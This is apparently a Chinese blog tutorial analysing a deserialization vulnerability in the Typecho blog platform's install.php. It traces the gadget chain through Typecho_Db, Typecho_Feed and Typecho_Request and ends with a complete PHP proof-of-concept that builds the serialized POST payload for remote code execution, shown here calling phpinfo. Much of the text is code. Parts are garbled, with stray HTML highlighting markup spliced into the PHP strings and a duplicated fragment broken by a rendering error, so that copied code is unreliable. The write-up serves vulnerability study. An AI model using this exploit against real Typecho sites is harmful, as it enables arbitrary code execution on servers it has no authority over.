typecho反序列化漏洞(详细过程)

typecho反序列化


菜鸡的第一条链子,酌情参考

搭建环境

利用phpstudy+phpstrom搭建环境调试(注意php版本大于5.4)

开始

漏洞起始点

前提:get方法传?finish=1,refer=http://127.0.0.1 若不设置的话exit,程序结束 详细看install.php前面部分的代码


                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');  //删除$_COOKIE[$key],所以要用post传参
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
       //这里实例化了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

追踪get

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

追踪下get()方法,在cookie.php中发现get方法

 public static function get($key, $default = NULL)  
    {
        $key = self::$_prefix. $key;  //
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
        //结合Typecho_Cookie::get('__typecho_config')可知post或者cookie传入的__typecho_config变量进行一个反序列化,并且不能为数组。
    }

$_prefix 位于/cookie.php中

private static $_prefix = '';

    /**
     * 路径
     * 
     * @var string
     * @access private
     */

追踪delete

delete()方法位于/cookie.php

Typecho_Cookie::delete('__typecho_config');
 public static function delete($key)
    {
        $key = self::$_prefix . $key;
        if (!isset($_COOKIE[$key])) {
            return;
        }

        setcookie($key, '', time() - 2592000, self::$_path);
        unset($_COOKIE[$key]);
    }
可知当cookie传入__typecho_config后会被删除,所以要通过post的方式传入__typecho_config

跟进对象Typecho_Db

位于Db.php

$db = new Typecho_Db($config['adapter'], $config['prefix']);
// 这里新建了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入,跟进Typecho__Db这个对象
 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName; 
     //重点:此处将$adapterName当作字符与Typecho_Db_Adapter_拼接,若将$adapterName赋值为一个对象时,即为把对象当作字符串调用,即可触发__tostring()方法,寻找__tostring

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

跟进__tostring()方法

在feed.php和Query.php中找到

#feed.php
public function __toString()
    {
        $result = ' . $this->_charset . '"?>' . self::EOL;

        if (self::RSS1 == $this->_type) {
            $result .= '' . self::EOL;

            $content = '';  //声明content变量
            $links = array();
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '. $item['link'] . '">' . self::EOL;
                $content .= ''</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$item</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'title'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . strip_tags($item['content']) . '' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '' . self::EOL;   //.=  左边拼接右边,类似于+=

                $links[] = $item['link'];

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '. $this->_feedUrl . '">
'</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_title</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'
' . $this->_baseUrl . '
' . htmlspecialchars($this->_subTitle) . '

' . self::EOL;

            foreach ($links as $link) {
                $result .= '. $link . '"/>' . self::EOL;
            }

            $result .= '

' . self::EOL;

            $result .= $content . '';

        } else if (self::RSS2 == $this->_type) {
            $result .= '
' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '' . self::EOL;
                $content .= ''</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$item</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'title'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
                                                                //调用当前类的一个私有变量

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= ' . $category['name'] . ']]>' . self::EOL;
                    }
                }

                if (!empty($item['excerpt'])) {
                    $content .= ' . strip_tags($item['excerpt']) . ']]>' . self::EOL;
                }

                if (!empty($item['content'])) {
                    $content .= '. $this->_lang . '">
                    . self::EOL .
                    $item['content'] . self::EOL .
                    ']]>' . self::EOL;
                }

                if (isset($item['comments']) && strlen($item['comments']) > 0) {
                    $content .= '' . $item['comments'] . '' . self::EOL;
                }

                $content .= '' . $item['link'] . '#comments' . self::EOL;
                if (!empty($item['commentsFeedUrl'])) {
                    $content .= '' . $item['commentsFeedUrl'] . '' . self::EOL;
                }

                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }

                $content .= '' . self::EOL;

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= ''</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_title</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'
' . $this->_baseUrl . '
. $this->_feedUrl . '" rel="self" type="application/rss+xml" />
' . $this->_lang . '
' . htmlspecialchars($this->_subTitle) . '
' . $this->dateFormat($lastUpdate) . '
' . $this->dateFormat($lastUpdate) . '' . self::EOL;

            $result .= $content . '
';

        } else if (self::ATOM1 == $this->_type) {
            $result .= '. $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '' . self::EOL;
                $content .= '<![CDATA['</span> <span class="token operator">.</span> <span class="token variable">$item</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'title'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token string single-quoted-string">']]>' . self::EOL;
                $content .= '. $item['link'] . '" />' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '
    ' . $item['author']->screenName . '
    ' . $item['author']->url . '
' . self::EOL;

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '. $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
                    }
                }

                if (!empty($item['excerpt'])) {
                    $content .= ' . htmlspecialchars($item['excerpt']) . ']]>' . self::EOL;
                }

                if (!empty($item['content'])) {
                    $content .= '. $item['link'] . '" xml:lang="' . $this->_lang . '">
                    . self::EOL .
                    $item['content'] . self::EOL .
                    ']]>' . self::EOL;
                }

                if (isset($item['comments']) && strlen($item['comments']) > 0) {
                    $content .= '. $item['link'] . '#comments" thr:count="' . $item['comments'] . '" />' . self::EOL;

                    if (!empty($item['commentsFeedUrl'])) {
                        $content .= '. $item['commentsFeedUrl'] . '" thr:count="' . $item['comments'] . '"/>' . self::EOL;
                    }
                }

                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }

                $content .= '' . self::EOL;

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= ''</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_title</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'
' . htmlspecialchars($this->_subTitle) . '
' . $this->dateFormat($lastUpdate) . '
. $this->_version . '">Typecho
. $this->_baseUrl . '" />
' . $this->_feedUrl . '
. $this->_feedUrl . '" />
';
            $result .= $content . '';
        }

        return $result;
    }
}

关键点:


            foreach ($this->_items as $item) {
                $content .= '' . self::EOL;
                $content .= ''</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$item</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'title'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
                                                               
//$item['author']访问了screenName这个属性,该属性为私有属性触发了__get魔术方法

//注意:但是进入这里需要满足条件else if(self::Rss2=this->_type)

跟进get()方法

位于/Request.php

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
// 如果_params数组中存在索引值为$key的变量,那么就会将其赋值给$value, 结束 
// 如果_httpParams中存在索引值为$key的变量,那么就会将其赋值给$value,结束
// 如果都不存在的话将$value赋值为$default ,结束


        $value = !is_array($value) && strlen($value) > 0 ? $value : $default; 
     //如果$value为数组且长度大于0就赋值为$default,不是的话就为本身。
        return $this->_applyFilter($value);
    }

###跟进_applyFilter($value)方法

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                
                call_user_func($filter, $value);
                    //判断value是否为数组,若是数组执行array_map(),若不是执行call_user_func()
                    //其中$value可以间接控制,所以可以利用array_map和call_user_func来执行代码
                    //array_map() :函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
                //call_user_func():看百度
            }

            $this->_filter = array();
        }

        return $value;
    }
//重点来了,如果$filter和$value都可控的话就可以通过回调函数call_user_func()命令执行或者写入木马了

逃出异常类

如将以上发请求到服务器,却会返回500.是因为,开始时install.php在第54行调用了ob_start()

参考:https://www.php.net/manual/en/function.ob-start.php

POC执行会导致Typecho触发异常,并且内部设置了Typecho_Exception异常类,触发异常以后Typecho会自动能捕捉到异常,并执行异常输出。


public static function exceptionHandle(Exception $exception)
    {
        @ob_end_clean();

        if (defined('__TYPECHO_DEBUG__')) {
            echo '

' . $exception->getMessage() . '

'
; echo nl2br($exception->__toString()); } else { if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) { $handleClass = self::$exceptionHandle; new $handleClass($exception); } else { self::error($exception); } } exit; }

并且经过分析发现程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区中,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。

解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。

if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '. $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
                    }
                }

即: 将item中的category赋值为一个对象数组,提前报错退出,就可以显示之前的内容

大致思路

1、通过install.php中的反序列化将adapter和prefix变量传入Typecho_Db实例化对象中

2、通过类Typecho_Db中的__construct魔术方法将adapter视作字符串拼接赋值,调用类Typecho_Feed中的__toString魔术方法

3、访问了_items['author']中的screenName属性,调用Typecho_Request类中的__get魔术方法并且传入$key=screenName

4、定义$this->_params[$key],也就是$this->_params[‘screenName’]为我们想要执行的命令,即可赋值给$value
  call_user_func($filter, $value);


poc


class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    //设置item['author']来控制Typecho_Request类中的私有变量,
    //这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。

    public function __construct()
    {
        $this->_params['screenName'] = -1; //执行的参数,显示所有内容
        $this->_filter[0] = 'phpinfo';  //执行的函数
    }
}

class Typecho_Feed
{
    /** 定义RSS 1.0类型 */
    const RSS1 = 'RSS 1.0';

    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';

    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';

    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';

    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';

    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();  //设置item['author'],来控制Typecho_Request类中的私有变量
    public $dateFormat;

    public function __construct()
    {    //对应feed中_tostring魔术方法,
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();   
      //设置item['author']来控制Typecho_Request类中的私有变量,$_filter和$_params,执行call_user_func()
     //这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。
        $item['category'] = array(new Typecho_Request());
        //给item[‘category’]赋值上对象,让其用数组的方式遍历对象时触发错误,强制退出程序。否则会到导致存放在缓冲去的数据被清除,无法返回所求值

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,   Db.php文件中触发__toString()使用的对象
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

ps

###函数phpinfo()的参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3xsJgBtH-1647137296969)(C:\Users\86136\OneDrive\图片\屏幕快照\PHPinfo.png)]

const

在类里面定义常量用 const 关键字

http://www.5idev.com/p-php_class_const.shtml

https://www.php.net/manual/en/language.oop5.constants.php
new Typecho_Feed();
$a = array(
‘host’ => ‘localhost’,
‘user’ => ‘xxxxxx’,
‘charset’ => ‘utf8’,
‘port’ => ‘3306’,
‘database’ => ‘typecho’,
‘adapter’ => KaTeX parse error: Expected group after '_' at position 21: …/// Db.php文件中触发_̲_toString()使用的对…a)));
?>


## ps

###函数phpinfo()的参数



### const

在类里面定义常量用 const 关键字

http://www.5idev.com/p-php_class_const.shtml

https://www.php.net/manual/en/language.oop5.constants.php

你可能感兴趣的:(php,web安全,安全)